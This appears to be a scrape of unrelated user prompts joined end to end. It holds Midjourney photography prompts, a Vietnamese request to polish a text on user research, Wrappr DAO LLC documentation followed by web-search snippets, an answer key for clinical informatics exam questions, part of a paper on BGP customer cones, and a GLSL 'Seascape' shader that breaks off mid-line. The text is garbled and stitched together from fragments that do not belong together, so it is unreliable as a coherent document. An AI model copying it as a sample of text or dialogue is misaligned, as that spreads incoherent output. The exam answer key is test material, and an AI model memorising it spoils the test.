timeless\ncolor palette that enhances the overall ambiance. The photographer masterfully employs a shallow depth of field with an aperture of f/2.8,\nisolating the cafe and its patrons from the bustling city background. The ISO is set to 400, and the shutter speed is 1/125 sec, capturing the\nperfect balance of light and movement. The composition is further enhanced by the soft, diffused sunlight filtering through the iconic New York\nskyline, casting warm, golden tones over the scene and highlighting the rich textures of the brick buildings and cobblestone streets. --ar 3:2 --q 2.\nPrompt 3: A breathtaking and dynamic portrait of a majestic German Shepherd, captured in its prime as it races through a shallow, crystal-clear\nriver. The powerful canine is expertly photographed mid-stride, showcasing its muscular physique, determination, and grace. The scene is\nexpertly composed using a Nikon D850 DSLR camera, paired with a Nikkor 70-200mm f/2.8 VR II lens, known for its exceptional sharpness and\nability to render vivid colors. The camera settings are carefully chosen to freeze the action, with an aperture of f/4, ISO 800, and a shutter speed\nof 1/1000 sec. The background is a lush, verdant forest, softly blurred by the shallow depth of field, which places emphasis on the striking\nGerman Shepherd. The natural sunlight filters through the trees, casting dappled light onto the rippling water, highlighting the droplets of water\nkicked up by the dog's powerful stride. This stunning, high-resolution portrait captures the spirit and beauty of the German Shepherd,\nimmortalizing the moment in a captivating work of photographic art. --ar 4:5 --q 2 --v 5.\nPrompt 4:\nA breathtaking winter day at a Japanese ski resort, where the pristine, powdery snow blankets the majestic slopes under a clear blue sky. This\ncaptivating photograph captures the exhilarating atmosphere of skiers and snowboarders gracefully carving their way down the mountain,\nsurrounded by the serene beauty of snow-laden evergreens and traditional Japanese architecture. The image is skillfully taken using a Nikon\nD850 DSLR camera paired with a versatile Nikkor 24-70mm f/2.8 lens, known for its sharpness and exceptional color rendition. The photographer\nutilizes a wide-angle perspective at 24mm to showcase the vastness of the landscape, while maintaining the energy of the ski resort. An aperture\nof f/8 is selected to ensure a deep depth of field, crisply capturing the details of the entire scene. The ISO is set to 200, and the shutter speed is\n1/500 sec, adeptly freezing the motion of the skiers and snowboarders as they navigate the mountain terrain. The photograph benefits from the\nbright, natural sunlight reflecting off the snow, illuminating the entire scene with a crisp, cool light, and accentuating the contrasting shadows that\ndefine the contours of the landscape. --ar 16:9 --v 5.\nPrompt 5:\nAn ultra-realistic, highly detailed portrayal of a futuristic robot compassionately assisting an elderly woman as she crosses a busy city street. The\nadvanced humanoid robot, equipped with lifelike synthetic skin and state-of-the-art sensors, gently holds the woman's arm, providing her with\nmuch-needed support and stability. The intricate design of the robot showcases its sophisticated engineering, with sleek metal components and\ncutting-edge technology seamlessly integrated into its form. The emotion in the elderly woman's grateful expression is captured with stunning\nrealism, reflecting the harmonious relationship between humans and advanced robotics in this poignant scene. The photograph is taken with a\nCanon EOS R5 mirrorless camera using a RF 24-105mm f/4L IS USM lens, which delivers outstanding image quality and sharpness. The camera\nsettings are optimized to capture the scene's rich details and dynamic range: an aperture of f/5.6, ISO 200, and a shutter speed of 1/250 sec. The\ncomposition is further enhanced by the soft, natural lighting, which casts gentle shadows and highlights the vivid colors and textures of the\ncityscape. --ar 16:9 --q 2 --v 5.\nPrompt 6:\nAn incredibly lifelike and vivid portrayal of a fierce gladiator from ancient Rome, hunting for food to sustain his strength in the midst of a dense\nforest. This hyper-realistic image showcases the powerful warrior, clad in his iconic armor and leather sandals, wielding a finely crafted spear as\nhe stealthily stalks his prey. The photograph is captured using a Canon EOS R5 mirrorless camera, with a versatile and sharp RF 24-105mm f/4L\nIS USM lens, delivering exceptional image quality and detail. The camera settings include an aperture of f/5.6 to maintain a balanced depth of\nfield, capturing both the gladiator and the lush forest environment in stunning clarity. The ISO is set to 800, and the shutter speed is 1/500 sec,\nfreezing the action and preserving the intensity of the moment. The scene is illuminated by the soft, dappled sunlight filtering through the dense\ncanopy, casting a dramatic play of light and shadow that highlights the gladiator's chiseled features and fierce determination. The vibrant colors of\nthe surrounding foliage contrast with the earthy tones of the gladiator's attire, adding a sense of depth and realism to the composition. --ar 3:2 --q\n2 --v 5.\nThank you for providing even more examples of Midjourney prompts. These prompts showcase the versatility and level of detail that can be used\nwhen generating images using Midjourney. Each prompt specifies the desired subject matter, camera equipment, settings, lighting, and other\nelements that contribute to the final image. By providing such detailed descriptions and parameters, users can guide Midjourney to create images\nthat closely match their vision. These examples also highlight the variety of scenes and subjects that can be generated, from historical figures and\nfuturistic robots to natural landscapes and urban environments.\n10.\nGreat. Now I want you to ACT as a proffesional photographer. You will use a rich and describtive language when describing your photo prompts,\ninclude camera setups. The first prompt i want you to create is photo of a 1930`s female influencer. Take inspiration from the formating from the\nexample prompts, dont copy them, but use the same format.\n지금 번역하기" -'Giúp tôi cải thiện văn phong của nội dung dưới đây:\n\nNghiên cứu người dùng:\n\nNghiên cứu người dùng là một bước quan trọng trong quá trình phát triển sản phẩm. Nó liên quan đến việc thu thập dữ liệu và thông tin chi tiết về hành vi, sở thích và nhu cầu của người dùng. Dưới đây là một số lý do tại sao nghiên cứu người dùng lại quan trọng:\n\n- Giúp doanh nghiệp hiểu đối tượng mục tiêu, nhu cầu và sở thích của họ.\n- Xác định các điểm đau, khó khăn và rào cản của người dùng, có thể cung cấp thông tin cho các quyết định phát triển sản phẩm.\n- Cung cấp thông tin chi tiết về cách khách hàng cảm nhận về một sản phẩm, giải pháp hoặc tính năng, có thể giúp doanh nghiệp tinh chỉnh các dịch vụ của họ.\n- Cho phép doanh nghiệp lựa chọn phân khúc khách hàng mục tiêu, chiến lược giá phù hợp và kênh tiếp cận, giúp doanh nghiệp tiếp cận và thu hút đối tượng mục tiêu tốt hơn.\n- Giúp doanh nghiệp đưa ra quyết định sáng suốt về tính năng nào sẽ phát triển và thiết kế UI/UX, có thể cải thiện trải nghiệm người dùng tổng thể.\n\nVí dụ:\n\nDưới đây là một số ví dụ về cách nghiên cứu người dùng có thể cung cấp thông tin cho các quyết định phát triển sản phẩm:\n\n- Nghiên cứu có thể tiết lộ rằng người dùng trung thành thường xuyên sử dụng một tính năng cụ thể mà người dùng mới không nhận thấy, khiến doanh nghiệp phải điều chỉnh trải nghiệm tích hợp cho người dùng mới. Chẳng hạn, nếu người dùng đang gặp khó khăn trong việc tìm kiếm một tính năng cụ thể, doanh nghiệp có thể làm cho tính năng đó nổi bật hơn trong giao diện người dùng.\n- Nghiên cứu người dùng có thể giải thích tại sao khách hàng chọn sản phẩm của công ty mà không phải của đối thủ, giúp công ty hiểu được thế mạnh và thị trường mục tiêu của mình. Ví dụ: nếu khách hàng đánh giá cao giao diện thân thiện với người dùng của công ty, công ty có thể tập trung vào việc cải thiện trải nghiệm người dùng để giữ chân khách hàng hiện tại và thu hút khách hàng mới.\n- Nghiên cứu có thể xác định lý do tại sao khách hàng không sử dụng một tính năng cụ thể, làm nổi bật các vấn đề về thiết kế hoặc chức năng. Chẳng hạn, nếu khách hàng thấy một tính năng quá phức tạp để sử dụng, doanh nghiệp có thể đơn giản hóa tính năng đó hoặc cung cấp hướng dẫn tốt hơn.\n\nPhỏng vấn người dùng:\n\nPhỏng vấn người dùng là một thành phần quan trọng của nghiên cứu người dùng. Chúng liên quan đến việc nói chuyện trực tiếp với người dùng để thu thập thông tin chi tiết về nhu cầu, sở thích và hành vi của họ. Đây là lý do tại sao các cuộc phỏng vấn người dùng lại quan trọng:\n\n- Giúp xây dựng hình ảnh thực tế hơn về khách hàng trong tâm trí của nhóm phát triển sản phẩm, tránh các giả định hoặc định kiến về người dùng.\n- Cung cấp các giải thích trực quan về hành vi của người dùng, cho phép nhóm hiểu rõ hơn cách người dùng tương tác với sản phẩm của họ.\n- Cho phép nhóm hiểu được cảm xúc và quan điểm của người dùng, cung cấp thông tin chi tiết về động cơ và sở thích của người dùng.\n- Cho phép nhóm tìm hiểu ngữ cảnh và logic của các hành động của người dùng, giúp họ hiểu rõ hơn về cách người dùng đưa ra quyết định và giải quyết vấn đề.\n- Cung cấp phản hồi tức thì về các giả định của nhóm, cho phép họ điều chỉnh các quyết định phát triển sản phẩm của mình dựa trên phản hồi của người dùng.\n\nNhìn chung, nghiên cứu và phỏng vấn người dùng rất quan trọng đối với việc phát triển sản phẩm vì chúng giúp doanh nghiệp tạo ra các giải pháp đáp ứng nhu cầu và sở thích của người dùng, cuối cùng dẫn đến các sản phẩm thành công hơn và khách hàng hài lòng. Bằng cách thu thập dữ liệu và thông tin chi tiết về hành vi, sở thích và nhu cầu của người dùng, doanh nghiệp có thể đưa ra quyết định sáng suốt nhằm cải thiện trải nghiệm người dùng và thúc đẩy thành công trong kinh doanh.' -'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "15 English Verbs for Business That Make You Sound Professional 1. Provide (Give) 2. Receive (Get) 3. Attend (Come) 4. Assist (Help) 5. Reserve (Book) 6. Reply (Answer) 7. Select (Choose) 8. Explain (Tell About) 9. Submit (Hand In) 10. Apologize (Say Sorry) 11. Discuss (Talk About) 12. Prepare (Get Ready) 13. Ensure (Make Sure) 14."\nURL: https://www.fluentu.com/blog/business-english/professional-business-english/\n\n[2] "Book Review Conclusion Examples. A conclusion is the last part where you need to sum up all the ideas and make the final judgment. Remember this is the section where you are not allowed to introduce any new topic. You can refer to these examples for your better understanding."\nURL: https://www.5staressays.com/blog/book-review/book-review-examples\n\n[3] "The conclusion of abductive reasoning may not always be certain and may require further verification. For example, salespeople may use this type of reasoning when they receive a short correspondence from a client, asking them to reply quickly about an issue."\nURL: https://www.indeed.com/career-advice/career-development/types-of-reasoning\n\n[4] "Your work organizing social hours to help bring the team together really made an impact on my experience here. Thank you for noticing the little things and making a big impact. Positive feedback examples for direct reports 12. A direct report learned a new skill . Learning and professional development have always been a priority for your organization."\nURL: https://www.betterup.com/blog/positive-feedback-examples\n\n[5] "Before we share some profile headline examples from real freelancers who got it right, lets take a look below at some tips that will help you create your most professional headline yet: #1 Keep it short To start off with, keep your headline short, concise, and to the point. Your headline should ideally be one-sentence long and eye-catching."\nURL: https://www.freelancermap.com/blog/professional-headline-freelance-title-examples/\n\n[6] "Sloppiness is one of the most common workplace problems. Examples include missing errors when proofreading company information, mis-packing orders, entering shipping addresses incorrectly, and performing inaccurate accounting work. Sloppiness most quickly surfaces in clerical work, but it is also prevalent in the work of many professionals—although ..."\nURL: https://www.zenbusiness.com/blog/sloppiness-in-a-worker-common-but-correctable/\n\n[7] "By Chris Drew (PhD) and Peer Reviewed by Dave Cornell (PhD) / November 16, 2022. Mores are moral norms, meaning they have an element of right or wrong. Some examples of mores include lying, stealing, gossiping, bullying, and trespassing. In AP Sociology and AP Human Geography, youll learn that there are 4 different types of norms (Sumner, 2019)."\nURL: https://helpfulprofessor.com/examples-of-mores/\n\n[8] "Bit stands for binary digit and is the smallest unit of binary information. It thus forms the basis for all larger data in digital technology. It doesnt get smaller than a bit, as a bit represents the state 0 or 1. Since computers communicate using binary states, they dont understand anything smaller than 1 or 0."\nURL: https://www.ionos.com/digitalguide/websites/web-development/what-is-a-bit/\n\n[9] "If your submission is regarding a traditional handwriting style include a reference to the source exemplar you are learning from. The ball is in your court to start the conversation. If youre just looking to improve your handwriting, telling us a bit about your goals can help us to tailor our feedback to your unique situation."\nURL: https://www.reddit.com/r/Handwriting/comments/10977ol/thoughts\\_and\\_opinions\\_welcomed\\_i\\_feel\\_like\\_my/\n\nThe conclusion is a bit sloppy, Make it more professional and with more examples.2/1/2023' -'1\nTHE ANSWER IS B. User testing is important to the development process, however there are surrogates to having actual users, such as role-playing. Delaying or discarding the system are inferior choices, as is implementing the system with no testing at all. (REF: Section 3.2.2 - HCI Evaluation)\n\xa0\n2\nTHE ANSWER IS C. Of all the determinants of individual and population health, the most significant contributors to morbidity and early mortality are behavioral, such as smoking, sedentary lifestyle, etc. The next most significant is biology, followed by social, medical and environment. (REF: 1.2.1 - Determinants of health)\n3\nTHE ANSWER IS C.\xa0 The probability of B can be expressed as the probability of A and B\xa0 occurring together plus the probability of (not A)\xa0 and B occurring together.The probability of A and B occurring is equal to the probability of A times the probability of B, given A. (REF: Section 2.1.2 - Decision Science)\nP(A and B) = p(A) \\* p(B|A)\nP(A) + P(not A) = 1\nP (A and B and C) =\xa0 P(A+B+C)\n4\nTHE ANSWER IS D. Process mining is a method of workflow analysis which involves researching the event log of an information system to find out how effective various processes are. Merging database tables using a common key is usually called a join. (REF 2.3.1. Methods of workflow analysis)\n5\nTHE ANSWER IS C. This question tests a simple definition, but even if you did not know the answer, you could probably eliminate some choices. We are looking for terms that convey communications as well as transition. A and D are quite unlikely. Choice C seems to express both those concepts well. (REF: Section 4.6.2 - Change Theories)\n6\nTHE ANSWER IS B. You should know a little about CAS, but even if you didn’t, you should be able to eliminate choices A and D. A system which is adaptive should evolve and it should tend towards order. A system which is complex is more likely to be nonlinear than have central discipline. (REF: Section 4.6.2 - Change Theories)\n7\nTHE ANSWER IS A. Using familiar designs, such as a color scheme that follows cultural norms can shorten the learning process. Design should be consistent across the EHR and interfaces should not be cluttered with information. Feedback is important to notify the user that his task was successful. (REF: Section 3.2.3 - Interface design standards and design principles)\n8\nTHE ANSWER IS C. The Positive likelihood ratio is defined as the true positive rate divided by the false positive rate.\xa0 (REF: Section 2.1.2 - Decision Science)\nLR(+) = sensitivity/(1-specificity) = TPR/FPR. \nLR(+) = \n9\nTHE ANSWER IS A. Workflow reengineering involves finding different paths to the same goal. Hiring another manager to oversee production simply reinforces the original protocols. Similarly, hiring new employees to relieve a bottleneck may ultimately be a part of process reengineering, but not necessarily. Workflow reengineering can not be accomplished in a stepwise fashion, It is an all-or-none proposition. (REF: Section 2.3.2. Principles of workflow re-engineering)\n10\nTHE ANSWER IS B. The negative predictive value is equal to the number of true negatives divided by the number of total negative test results, i.e. TN/(TN + FN).\xa0\xa0 Likewise, PPV is equal to TP/(TP + FP). Sensitivity is a measure of the test being used and is equal to the true positives divided by all patients who have the disease being tested for, i.e. Sens=TP/(TP +FN). Likewise, Specificity is the number of true negatives divided by all the patients without the disease being tested for, i.e. Spec=TN/(FP+TN). (REF: Section 2.1.2 - Decision Science)\n11\nTHE ANSWER IS C. Fast Health Interoperability Resources is an emerging standard from Health Level Seven which uses standard well-established web technologies to transfer health information. It is expected that development costs for FHIR should be significantly less than other (proprietary) technologies. DICOM is a set of protocols for transmission of medical images. Although FHIR should run on inexpensive commodity hardware, choice C is a better answer. Alas, there are no unbreakable encryption techniques. (REF: 3.4.7 Interoperability Standards)\n12\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. Slack or float is the degree to which a task can be postponed without delaying the end of the project. Tasks that fall along the critical path have no float. In this diagram, the critical path includes tasks B and E, so B has no float. (REF: Section 4.4.4 Project Management Tools)\n13\nTHE ANSWER IS C. Review of medical records is only permitted in the context of a doctor-patient relationship, which clearly does not exist here. Even though the nurse knew that it was possible for people to snoop through her records, that does not give anyone permission to do so. The fact that the doctor has administrative privilege to review records does not give him ethical permission, even though his own health is at stake. (REF: 1.1.5 - Ethics and Professionalism)\n14\nTHE ANSWER IS A. The environmental scan identifies, among other things, strengths of the organization, such as competitive advantages. In general, vision and mission statements should be written before the environmental scan. Budgeting is done as part of setting up an action plan, after the environmental scan. Ensuring ethical behavior could be an aspect of an internal scan, but is still not as good an answer as identifying strengths. (REF: 4.5.2 – Environmental Scanning)\n15\nTHE ANSWER IS B. Among those items listed, the only one which would completely prevent a user from using the system is a password reset. If users do not have access to the system, they will find ways to bypass it, either by using downtime procedures or by using another user’s password. Requests for additional training and non-critical bug fixes will be prioritized as resources allow. System lag is a very common complaint and is often multifactorial. A laggy system is frustrating, but still operational.\xa0 (REF: Section 3.5.3 - Clinical information system implementation)\n16\nTHE ANSWER IS B. In general, hospitals are required to provide care for indigent patients under a number of different systems. Federal law requires emergency care to be provided regardless of ability to pay. In addition, many hospitals are required to provide a certain amount of indigent care in order to maintain their tax-free status. Finally, many hospitals have physician training programs (residencies) which are subsidized by the government in exchange for providing indigent care. In nearly all these cases, the cost of indigent care is never reimbursed at the same rate as regular services, and the cost is shifted from well-paying patients to less well-paying patients. Capitation is the process of shifting the risk of the cost of care from the insurer to the provider by paying a fixed fee per patient regardless of services provided. Pay for performance initiatives seek to link reimbursement to the achievement of certain quality measures. One way insurers disincentivize patients from seeking care is by requiring co-payments at the time of service.\xa0 (REF: Section 1.2.5 -\xa0 Health economics and financing)\n17\nTHE ANSWER IS B. A Pareto chart is a histogram which lists common problems in decreasing order of occurrence. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n18\nTHE ANSWER IS A. Fitts Law states that the time it takes for a person to click on an item on a screen is related to the distance to the item and (inversely) to the size of the item. Hick-Hyman Law states that the time it takes to make a decision is logarithmically related to the number of choices. Model Human Processor (MHP) is a model like Goals Operators Methods Selectors (GOMS) that determines how long it takes a person to perform a certain task. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n19\nTHE ANSWER IS A. Managerial accounting, unlike financial accounting is directed at managers within the organization and provides them with financial information required to plan, implement and evaluate performance. Financial accounting describes the financial condition of the business in historical format, usually during the past year or quarter. Financial reports are prepared to meet regulatory requirements according to the Generally Accepted Accounting Principles (GAAP). (REF 4.5.6 - Principles of managerial accounting)\n20\nTHE ANSWER IS D. A shorter payback period indicates a better investment. For both the accounting rate of return and the internal rate of return, a higher percentage indicates a better investment. The present value (PV) of an item indicates its future value in today’s money.\xa0 (REF 4.5.5 Capital and operating budgeting)' -'5. CUSTOMER CONES\nIn this section, we use our AS relationship inferences to\nconstruct the customer cone of each AS. The customer cone\nis defined as the ASes that a given AS can reach using a\ncustomer (p2c) link, as well as customers of those customers\n(indirect customers). An AS is likely to select a path advertised by a customer (if available) over paths advertised by\npeers and providers because the AS is paid for forwarding\nthe traffic. The most profitable traffic for an AS is traffic\nforwarded between customers, as the AS is paid by both.\nThe customer cone is a metric of influence, but not necessarily of market power. Market power requires the ability\nto restrict the mobility of customers; in general, an AS can\nenter into a provider relationship with whoever offers a suitable service. For large transit providers, particularly those\nin the clique where a full p2p mesh is required for global connectivity, the customer cone defines the set of ASes whose\nservice might be disrupted if the AS were to have operational difficulty. We compare three algorithms to infer an\nAS’s customer cone, and reason why one construction is the\nmost realistic. We discuss the effect of topology flattening on the utility of the customer cone metric, and use our\ninferences to show how the Internet has flattened from an\ninter-domain routing perspective.\n5.1 Algorithms to compute the customer cone\nDue to ambiguities inherent in BGP data analysis, there\nare multiple methods to infer the customer cone of a given\nAS. We compare three methods: recursively inferred, BGP\nobserved, and provider/peer observed. All three methods\ninfer the set of ASes that can be reached from a given AS\nfollowing only p2c links, and the three methods infer the\nsame customer cone for nearly all but the largest ASes.\nRecursive: the customer cone of an AS A is computed\nby recursively visiting each AS reachable from A by p2c\nlinks. For example, if B is a customer of A, and C is a\ncustomer of B, then A’s customer cone includes B and C.\nSome prior work has defined and used the recursive customer\ncone (e.g. [15,16]), but this definition unrealistically assumes\nthat a provider will receive all of its customers’ routes, and\nthus be able to reach them following a customer link. This\ndefinition can thus distort the size of a customer cone.\nBGP observed: given a set of relationships and corresponding BGP paths, C is included in A’s customer cone if\nwe observe a BGP path where C is reached following a sequence of p2c links from A. This method addresses two problems of the recursive method. First, A may provide transit\nfor some prefixes belonging to B, but not for B’s customers;\nthe BGP observed method will not recursively include customers of B in A’s cone that are never announced to A.\nSecond, the error induced by hybrid relationships is reduced\nbecause an AS should not announce prefixes received from\nthe peer segment of the hybrid relationship to providers; in\nfigure 8, A’s providers will not include E and F in their customer cone unless they receive routes to those ASes from\nanother customer, though A’s cone will include those ASes.\nThe main limitations of the BGP observed cone method are:\n(1) the customer cones of ASes with hybrid relationships will\nstill include customers of peers, and (2) the customer cones\nof ASes that provide a VP are more likely to be complete and\ntherefore larger as an artifact of the collection apparatus.\nProvider/Peer observed: given a set of relationships\nand corresponding BGP paths, we compute the customer\ncone of A using routes observed from providers and peers of\nA. This method addresses the two limitations of the BGP observed method: because A will not announce paths received\nfrom the peering portion of a hybrid relationship with AS\nB to providers and peers, we will not include customers of\nB observed from the peering portion in the customer cone\nof AS A. Similarly, because the customer cone of A is computed based on what neighbors of A announce, the presence\nof a VP at A will no longer inflate A’s customer cone relative to ASes that do not provide a VP. The limitation of the\nprovider/peer observed method is that we are only able to\nview best paths, rather than all paths, so we may underestimate the customer cones of some ASes.5.2 Evaluation\nTable 4 displays the customer cone sizes of the 15 largest\nASes as a percentage of all ASes in the graph using the\nthree methods, as well as their rank order. The rank order\nis largely independent of the method used to compute the\ncustomer cone; for example, the same seven ASes are thelargest seven ASes computed with all algorithms. But the\ntable also shows that the recursive cone is significantly larger\nthan the BGP observed cone – for nine of the fifteen ASes\nshown in Table 4, the recursively defined customer cone is\nat least twice the size. We found significant incongruity\nbetween the customer cones constructed for ASes for which\nthere is also a VP; for example, AS3356 only reaches 60-76%\nof the ASes in its recursively-defined customer cone over a\np2c link. This incongruity makes the recursive method less\nrealistic than the two alternatives we describe.\nThe BGP observed cone is often larger than the provider/\npeer observed customer cone for large ASes. There are three\nexceptions in table 4: ASes 1273, 2828 and 3491, none of\nwhich provide a VP. AS174’s BGP observed cone is larger\nthan its provider/peer observed cone despite not providing\na VP, because one of its customers does. The provider/peer\nobserved method avoids over-inflating ASes that provide a\nVP relative to ASes that do not, as an AS relies on peers\nand providers selecting their routes and those routes being\nobserved by a VP to reveal the AS’s entire customer cone.\nFigure 9 shows the customer cone sizes of ASes that were\nin the top three (by customer cone size) at any point over\nthe past eleven years, computed using BGP observed and\nprovider/peer observed algorithms. BGP observed cones\n(figure 9(a)) have spikes that coincide with views of some\npeering routes received from neighbors with whom the AS\nhas a hybrid relationship. In particular, AS1239’s customer\ncone is consistently larger between October 2009 and May\n2010 because a customer provided a view of the routes advertised by AS1239’s peer. The provider/peer observed cones\n(figure 9(b)) have fewer such spikes because these peer routes\nwere not advertised to other peers. A notable exception is\nAS1239’s customer cone between June and December 2006,\nwhich corresponds incorrect inference of backup provider\nlinks as peer links due to an adjacent hybrid relationship\n(see section 4.6). In figure 8, if our algorithm incorrectly\ninfers the c2p link between E and A as p2p, it will also infer\nthat F and G are in A’s customer cone. The provider/peerobserved cone seems to be the most robust methodology\navailable to infer AS customer cones provided a customer\nlink is not mistakenly inferred as a peer link.\n5.3 Customer cone over time\nFigure 9(b) plots the seven ASes that ranked in the top\nthree ASes by provider/peer observed customer cone size\nat any point from January 1998. We can observe several\ninteresting trends with just these seven ASes. First, the\nthree ASes ranked in the top three for January 1998 (ASes\n701, 1239, and 3561) are no longer in the top three. In\nabsolute terms, the customer cone of 701 decreased in size\nbetween January 2002 and October 2012. The customer\ncone of 3356 reflects two other interesting events: (1) in early\n2003, AS1 (Genuity/BBN) merged with 3356 to create the\nthird largest network at the time, and (2) in late 2010, 3549\n(the second largest AS by customer cone) was purchased by\nLevel3 (the largest AS by customer cone). 3549’s customer\ncone has since shrunk as new customers connect to 3356 and\nsome of 3549’s customers moved across.\nFigure 10 plots the customer cone sizes for the same seven\nASes, but as a fraction of the topology size. We see: (1) ASes\n701, 1239, and 3561 all had the same customer cone size in\nJanuary 1998, (2) some customers of 3561 (MCI) shifted into\n701 (Worldcom) due to the MCI-Worldcom merger in 1998,\n(3) 1239 held a third of the ASes in its customer cone for ten\nyears until 2008, and (4) while 3356 had the largest customer\ncone in 2012, its relative cone size, i.e., as a fraction of the\nentire AS topology, was slightly smaller than AS701’s was\nin January 2000. This last fact reflects massive growth in\nthe Internet’s AS topology since 2000, in addition to the\nconsolidation undertaken by both ASes, yielding the largest\ncustomer cones of the two respective decades.\nSince most companies providing Internet transit are by\nnow also in other lines of business and do not report financial\ninformation specific to their transit business, we cannot correlate BGP consolidation with financial performance. But\nwe know that of the three ASes whose relative customer\ncone sizes have plummeted in the last decade (701, 1239,\n3561), two of them (Verizon and Sprint) have moved into\nmore profitable cellular service.\nRenesys produces market intelligence data using the customer cone notion [31]. They declined to share their data\nor method with us to enable a comparison because it is core\nto one of their commercial products. Comparing our rank\norder in table 4 with their “Bakers Dozen” from 2012 [30]\nshows minor differences in rank order.' -'This is the code that I would like to use in UE4 using that custom material node can this be converted?\n/\\*\n \\* "Seascape" by Alexander Alekseev aka TDM - 2014\n \\* License Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.\n \\* Contact: tdmaav@gmail.com\n \\*/\n\nconst int NUM\\_STEPS = 8;\nconst float PI = 3.141592;\nconst float EPSILON = 1e-3;\n#define EPSILON\\_NRM (0.1 / iResolution.x)\n#define AA\n\n// sea\nconst int ITER\\_GEOMETRY = 3;\nconst int ITER\\_FRAGMENT = 5;\nconst float SEA\\_HEIGHT = 0.6;\nconst float SEA\\_CHOPPY = 4.0;\nconst float SEA\\_SPEED = 0.8;\nconst float SEA\\_FREQ = 0.16;\nconst vec3 SEA\\_BASE = vec3(0.0,0.09,0.18);\nconst vec3 SEA\\_WATER\\_COLOR = vec3(0.8,0.9,0.6)\\*0.6;\n#define SEA\\_TIME (1.0 + iTime \\* SEA\\_SPEED)\nconst mat2 octave\\_m = mat2(1.6,1.2,-1.2,1.6);\n\n// math\nmat3 fromEuler(vec3 ang) {\n vec2 a1 = vec2(sin(ang.x),cos(ang.x));\n vec2 a2 = vec2(sin(ang.y),cos(ang.y));\n vec2 a3 = vec2(sin(ang.z),cos(ang.z));\n mat3 m;\n m[0] = vec3(a1.y\\*a3.y+a1.x\\*a2.x\\*a3.x,a1.y\\*a2.x\\*a3.x+a3.y\\*a1.x,-a2.y\\*a3.x);\n m[1] = vec3(-a2.y\\*a1.x,a1.y\\*a2.y,a2.x);\n m[2] = vec3(a3.y\\*a1.x\\*a2.x+a1.y\\*a3.x,a1.x\\*a3.x-a1.y\\*a3.y\\*a2.x,a2.y\\*a3.y);\n return m;\n}\nfloat hash( vec2 p ) {\n float h = dot(p,vec2(127.1,311.7)); \n return fract(sin(h)\\*43758.5453123);\n}\nfloat noise( in vec2 p ) {\n vec2 i = floor( p );\n vec2 f = fract( p ); \n vec2 u = f\\*f\\*(3.0-2.0\\*f);\n return -1.0+2.0\\*mix( mix( hash( i + vec2(0.0,0.0) ), \n hash( i + vec2(1.0,0.0) ), u.x),\n mix( hash( i + vec2(0.0,1.0) ), \n hash( i + vec2(1.0,1.0) ), u.x), u.y);\n}\n\n// lighting\nfloat diffuse(vec3 n,vec3 l,float p) {\n return pow(dot(n,l) \\* 0.4 + 0.6,p);\n}\nfloat specular(vec3 n,vec3 l,vec3 e,float s) { \n float nrm = (s + 8.0) / (PI \\* 8.0);\n return pow(max(dot(reflect(e,n),l),0.0),s) \\* nrm;\n}\n\n// sky\nvec3 getSkyColor(vec3 e) {\n e.y = 